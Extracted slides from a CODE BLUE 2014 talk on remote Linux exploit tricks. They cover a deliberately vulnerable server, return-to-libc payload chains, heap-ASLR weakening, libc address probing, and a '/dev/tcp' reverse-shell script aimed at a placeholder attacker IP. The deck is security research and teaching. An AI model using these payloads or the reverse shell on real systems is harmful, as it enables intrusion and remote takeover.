Upload
code-blue
View
1.408
Download
3
Embed Size (px)
DESCRIPTION
Modern operating systems include hardened security mechanisms to block exploit attempts. ASLR and NX (DEP) are two examples of the mechanisms that are widely implemented for the sake of security. However, there exists ways to bypass such protections by leveraging advanced exploitation techniques. It becomes harder to achieve code execution when the exploitation originates from a remote location, such as when the attack originates from a client, targeting server daemons. In such cases it is harder to find out the context information of target systems and, therefore, harder to achieve code execution. Knowledge on the memory layout of the targeted process is a crucial piece of the puzzle in developing an exploit, but it is harder to figure out when the exploit attempt is performed remotely. Recently, there have been techniques to leverage information disclosure (memory leak) vulnerabilities to figure out where specific library modules are loaded in the memory layout space, and such classes of vulnerabilities have been proven to be useful to bypass ASLR. However, there is also a different way of figuring out the memory layout of a process running in a remote environment. This method involves probing for valid addresses in target remote process. In a Linux environment, forked child processes will inherit already randomized memory layout from the parent process. Thus every client connection made to server daemons will share the same memory layout. The memory layout randomization is only done during the startup of the parent service process, and not randomized again when it is forking a child process to handle client connections. Due to the inheritance of child processes, it is possible to figure out a small piece of different information from every connection, and these pieces can be assembled later to get the idea of a big picture of the target process's remote memory layout. Probing to see if a given address is a valid memory address in context of the target remote process and assembling such information together, an attacker can figure out where the libc library is loaded on the memory, thus allowing exploits to succeed further in code execution. One might call it brute force, but with a smart brute forcing strategy, the number of minimal required attempts are significantly reduced to less than 10 in usual cases. In this talk, we will be talking about how it is possible to probe for memory layout space utilizing a piece of code to put the target in a blocked state, and to achieve stable code execution in remote exploit attempt scenarios using such information, as well as other tricks that are often used in remote exploit development in the Linux environment. http://codeblue.jp/en-speaker.html#SeokHaLee
Citation preview
Various tricks for remote linux exploits
wh1ant (Author A.K.A) SeokHa Lee (Author name) [email protected]
http://wh1ant.kr
CODE BLUE 2014
Acknowledgements
The author would like to thank to A.K.A trigger for reviewing this article :)
About me Name: SeokHa Lee A.K.A: wh1ant (white ant or ant) wh1ant on facebook
I’m A member of ‘WISEGUYS' team, which is a hacking crew in South Korea. I have found multiple vulnerabilities. talked about security-related topics in Korean conferences. various CTF competitions in Korea as challenge-maker with exploitation challenges.
http://wh1ant.kr
http://hackerschool.org
About this talk Remote buffer overflow on linux
• Create file in the server • NULL byte bypass • Neutralize some of heap ASLR • Fast searching libc location
Exploit techniques • Code injection - Must be NX disable • RTL (Return-To-Libc) - Must be ASLR disable • ROP (Return Oriented Programming) - There must be gadgets available. - Too long payload
How to find address? • Brute force • Memory disclosure • use send(), write() functions
[&send()] [&exit()] [0x00000004] [&GOT] [0x00000004] [0x00000000]
Code and environment
int get_result(const int sock, char odd_or_even) {
char small_buf[25]; char big_buf[128]; … write(sock, "pick a number 1 or 2: ", 22); length = read(sock, big_buf, sizeof(big_buf)-1);
…
strcpy(small_buf, big_buf); // vulnerable code if((small_buf[0]-0x31)==odd_or_even) return 1; else return 0;
}
Fedora 18
fork-based server
$ gcc server.c –o server -fno-stack-protector
Attack scenario
Victim Hacker
Find libc address.
Create exploitation file.
Run.
Creating file with permission
1 - /tmp directory - we can use “/tmp” string in the libc library. 2 – log files which - we can use “log/log_%Y%m%d.log” string. 3 – daemon PID file which - file to check the process.
What kind of functions do we use?
open(), write()
O_WRONLY == 0x1 O_CREAT == 0x40
Payload
[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]
Payload to create server side exploit.
Interesting kernel code struct file *do_filp_open(int dfd, const char *pathname, int open_flag, int mode, int acc_mode) ... if (!(open_flag & O_CREAT)) mode = 0;
/* Must never be set by userspace */ open_flag &= ~FMODE_NONOTIFY;
/* * O_SYNC is implemented as __O_SYNC|O_DSYNC. As many places only * check for O_DSYNC if the need any syncing at all we enforce it's * always set instead of having to deal with possibly weird behaviour * for malicious applications setting only __O_SYNC. */ if (open_flag & __O_SYNC) open_flag |= O_DSYNC;
if (!acc_mode) acc_mode = MAY_OPEN | ACC_MODE(open_flag);
/* O_TRUNC implies we need access checks for write permissions */ if (open_flag & O_TRUNC) acc_mode |= MAY_WRITE;
Check only 0x40 (O_CREAT)
Bitwise AND operation
00000000 00000000 00000000 00000000 00000000 00000000 00000000 01000000 -----------------------------------------------------------00000000 00000000 00000000 00000000
00000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 ----------------------------------------------------------- 00000000 00000000 00000000 01000000
0x40 (O_CREAT)
00000000 00000000 00000000 01000000
0x40 (O_CREAT)
0x40 (O_CREAT)
Create file #include <stdio.h> #include <fcntl.h>
int main(void) { close(open("test", 0x11111040, 0xfffff9ff)); return 0; }
Hex number 0x11111040 means the O_CREAT also 0xfffff9ff means octal 4777 permission. Run a program, you can see create "test" name file.
Failed
static inline struct file * fcheck_files(struct files_struct *files, unsigned int fd) { struct file * file = NULL; struct fdtable *fdt = files_fdtable(files);
if (fd < fdt->max_fds) file = rcu_dereference_check_fdtable(files, fdt->fd[fd]); return file; }
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
File descriptor maximum number over is NULL return.
New test
#include <stdio.h>
int main(void) { FILE* fp=fopen("test_file", "w"); if(fp==NULL) { printf("fopen() error\n"); return -1; }
fputc(‘A’, fp); fclose(fp); return 0; }
#include <stdio.h>
FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);
#include <stdio.h>
int main(void) { FILE* fp=fopen("test_file", "wHello_world"); if(fp==NULL) { printf("fopen() error\n"); return -1; }
fputc(0xffffff41, fp); fclose(fp); return 0; }
Fake code #include <stdio.h>
FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);
“answer” == append mode “wer” == write mode
“answer”
fopen() function code switch (*mode) { case 'r': omode = O_RDONLY; read_write = _IO_NO_WRITES; break; case 'w': omode = O_WRONLY; oflags = O_CREAT|O_TRUNC; read_write = _IO_NO_READS; break; case 'a': omode = O_WRONLY; oflags = O_CREAT|O_APPEND; read_write = _IO_NO_READS|_IO_IS_APPENDING; break; default: __set_errno (EINVAL); return NULL; }
; ex movzx eax,BYTE PTR [eax] movsx eax,al cmp eax,0x72 ; ‘r’ check je 0x804843c
Payload
[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]
[&fopen()] [pop*2] [&“filename”] [&“w”] [&fputc()] [dummy] [0xffffff41] [<file pointer>]
But, how to know file pointer address?
Random file pointer #include <stdio.h>
int main(void) { FILE* fp;
fp=fopen("test_file", "wt");
printf("fopen(): %p\n", fp);
if(fp) fclose(fp);
return 0; }
#include <stdio.h> #include <stdlib.h>
int main(void) { char* p; FILE* fp;
p=(char*)malloc(0xffffffff); fp=fopen("test_data", "w");
printf("malloc(): %p\n", p); printf("fopen(): %p\n", fp);
if(p) free(p); if(fp) fclose(fp); return 0; }
Neutralize some of heap ASLR
0xb7400468 or 0xb7500468
Heap structure 1/5 malloc()
brk() mmap()
allocation larger than 128 kb
__libc_malloc() -> arena_get2() -> _int_new_arena() -> new_heap() -> mmap()
__libc_malloc() -> _int_malloc() -> sysmalloc() -> mmap()
Heap structure 2/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { /* _int_malloc() tries to call mmap() with 0xffffffff as argument */ 2858 victim = _int_malloc(ar_ptr, bytes); 2859 if(!victim) { // checks allocation, and it fails because we cannot allocate memory with the size of 0xffffffff 2860 /* Maybe the failure is due to running out of mmapped areas. */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868 /* ... or sbrk() has failed and there is still a chance to mmap() */ /* arena_get2() also calls mmap() internally */ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);
Heap structure 3/5 521 new_heap(size_t size, size_t top_pad) ... 552 /* allocates memory with size 0x200000 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff 558 if (ul) 559 __munmap(p1, ul); // frees some memory allocations 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* enables read,write for size up to 0x21000 */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;
Heap structure 4/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { 2858 victim = _int_malloc(ar_ptr, bytes); // when fopen() call 2859 if(!victim) { 2860 /* Maybe the failure is due to running out of mmapped areas. */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868 /* ... or sbrk() has failed and there is still a chance to mmap() */ /* arena_get2() also calls mmap() internally */ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);
Heap structure 5/5 2246 static void* sysmalloc(INTERNAL_SIZE_T nb, mstate av) ... 2681 p = av->top; // pre-allocated memory address from mmap (0xb7400000) 2682 size = chunksize(p); // gets the size of the previous allocation // (returns approximately 0x21000) 2683 2684 /* check that one of the above allocation paths succeeded */ /* checks if previously saved size is greater than requested memory size */ 2685 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 2686 remainder_size = size - nb; 2687 remainder = chunk_at_offset(p, nb); 2688 av->top = remainder; 2689 set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); 2690 set_head(remainder, remainder_size | PREV_INUSE); 2691 check_malloced_chunk(av, p, nb); 2692 return chunk2mem(p); // returns memory address for an allocation from mmap 2693 } 2694 2695 /* catch all failure paths */ 2696 __set_errno (ENOMEM); 2697 return 0; 2698 }
Maps information
We can use this memory!
What is ‘repeat code’?
; repeat code 1 10101010: mov eax, ebx 10101012: jmp short 10101012 10101014: mov eax, ebx
; repeat code 2 10101010: mov eax, ebx 10101012: jmp short 10101010 10101014: mov eax, ebx
Find ‘repeat code’
[&puts()] [0x080486ac ~ 0x08049578] [0x08048001]
start address of execution code: 0x080486ac end address of execution code : 0x08049578
Find ‘repeat code’ via python
File pointer check payload
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer]
/proc/net/tcp (ESTABLISHED state check)
File write payload
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer]
#!/bin/sh exec 5<>/dev/tcp/<hacker IP address>/1337 cat<&5|while read line;do $line 2>&5>&5;done
Server side exploit code
Fast searching libc location 1/5
$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
Fast searching libc location 2/5
0xb7801000 – 0xb7622000 = 0x1df000 (offset)
... int* p=0x0; int temp=*p; // If invalid memory address, Segmentation fault occurs ....
... int* p=0x08048000; int temp=*p; /* If this memory address exists, Segmentation fault will not occur */ ....
Fast searching libc location 3/5
b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so …
[&puts()] [&repeat code] [&exist address]
Exist address findding
Fast searching libc location 4/5
[&puts()] [&repeat code] [0xb7 5~8 00101] <= Find the 6 position. [&puts()] [&repeat code] [0xb76 0~f 0101] <= Find the 5 position. [&puts()] [&repeat code] [0xb761 0~f 101] <= Find the 4 position.
6 position is 0xb7700101 address exist memory. 5 position is 0xb7630101 address exist memory. 4 position is 0xb7622101 address exist memory.
b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so …
Find address by one digit
Fast searching libc location 5/5
0xb7622101 – 0x101 = 0xb7622000
Memory access functions int puts(const char *s);
size_t strlen(const char *s);
int atoi(const char *nptr);
int strcmp(const char *s1, const char *s2);
int printf(const char *format, ...);
int sprintf(char *str, const char *format, ...);
Payload review 1/2
[&puts()] [&repeat code] [&exist libc]
1. Find libc address
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer]
2. Find file pointer address
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer]
3. File write
Payload review 2/2
[&chmod()] [pop*2] [&"log/log_%Y%m%d.log"] [0xfffff1ff] [&execl()] [&exit()] [&"log/log_%Y%m%d.log"] [&"log/log_%Y%m%d.log“]
4. File permission switch and run
DEMO (http://youtu.be/LsgI-SALQJY)
DEMO2
Payload division
big_buf[128]
user_email[50] user_name[50]
payload1
payload2
payload3
add esp 0x118
add esp 0x48
[&puts()] [&repeat code] [0x00049cf0]
0x00049cf0 => \xf0\x9c\x04\x00
ASCII-Armor enabled system
High address
NULL byte bypass payload
[&fprintf()] [dummy] [file pointer] [&“%c”] [0x00]
How to create binary file to NULL byte bypass?
0xffffff00 => \x00\xff\xff\xff
Warning $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
mm_struct -> vm_area_struct -> mm_base You can see the 0xb7801000 address
521 new_heap(size_t size, size_t top_pad) ... 552 /* allocates memory with size 0x200000 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff 558 if (ul) 559 __munmap(p1, ul); // frees some memory allocations 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* enables read,write for size up to 0x21000 */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;
How to protect? 1/4
Removing heap ASLR disable code!
How to protect? 2/4
NULL parameter check
#include <stdio.h> #include <fcntl.h>
void open_test(int flags) { if(0xffff0000&flags) { printf("open_test() error\n"); return; } printf("open_test() call\n"); }
int main(void) { open_test(O_WRONLY|O_CREAT); // open open_test(0xffffff41); // open failed open_test(0x00ffff41); // open failed return 0; }
open(), mmap(), mprotect(), fputc(), etc…
How to protect? 3/4 if(strlen(mode)>3) // string length check { printf(“fopen() error\n”); // string length over return NULL; }
switch (*mode) { case 'r': … break; case 'w': … break; case 'a': … break; … }
How to protect? 4/4
Placed in a random offset to each address.
$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7723000-b78d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b78d3000-b78d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b78d5000-b78d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b78f6000-b78f9000 rw-p 00000000 00:00 0 b78fd000-b78ff000 rw-p 00000000 00:00 0 b78ff000-b7900000 r-xp 00000000 00:00 0 [vdso] b7903000-b8822000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b7922000-b7923000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7923000-b7924000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
Any Question?
Thanks for listening!